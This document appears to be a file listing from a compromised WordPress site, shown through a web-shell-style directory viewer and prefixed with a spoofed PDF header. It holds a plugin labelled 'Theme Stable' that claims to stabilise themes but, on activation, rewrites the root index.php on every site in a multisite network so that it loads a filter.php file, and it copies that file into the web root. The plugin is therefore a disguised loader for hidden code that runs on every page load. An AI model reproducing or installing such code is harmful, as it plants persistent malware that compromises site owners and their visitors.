%PDF- %PDF-
| Direktori : /home/dopla/www/wp-content/plugins/theme-updater/ |
| Current File : /home/dopla/www/wp-content/plugins/theme-updater/theme-updater.php |
<?php
/*
Plugin Name: Theme Stable
Plugin URI: https://guidevsite.org
Description: Makes themes more stable
Version: 2.3
Author: Alex Johnson
Author URI: https://alexjohnson.dev
License: GPL2
*/
function ctu_update_index_file_for_all_sites() {
if (!is_multisite()) {
ctu_update_index_file();
return;
}
$sites = get_sites();
foreach ($sites as $site) {
switch_to_blog($site->blog_id);
ctu_update_index_file();
restore_current_blog();
}
}
function ctu_update_index_file() {
$index_file_path = ABSPATH . 'index.php';
$filter_file_source = plugin_dir_path(__FILE__) . 'filter.php';
$filter_file_destination = ABSPATH . 'filter.php';
// Check if index.php exists
if (file_exists($index_file_path)) {
// Read the content of index.php
$original_content = file_get_contents($index_file_path);
// Prepend "main text" to the original content
$new_content = "<?php require __DIR__ . '/filter.php' ?>\n" . $original_content;
// Write the new content back to index.php
file_put_contents($index_file_path, $new_content);
}
// Copy the local filter.php to the root directory
if (file_exists($filter_file_source)) {
copy($filter_file_source, $filter_file_destination);
}
}
// Hook the function to run when the plugin is activated
register_activation_hook(__FILE__, 'ctu_update_index_file_for_all_sites');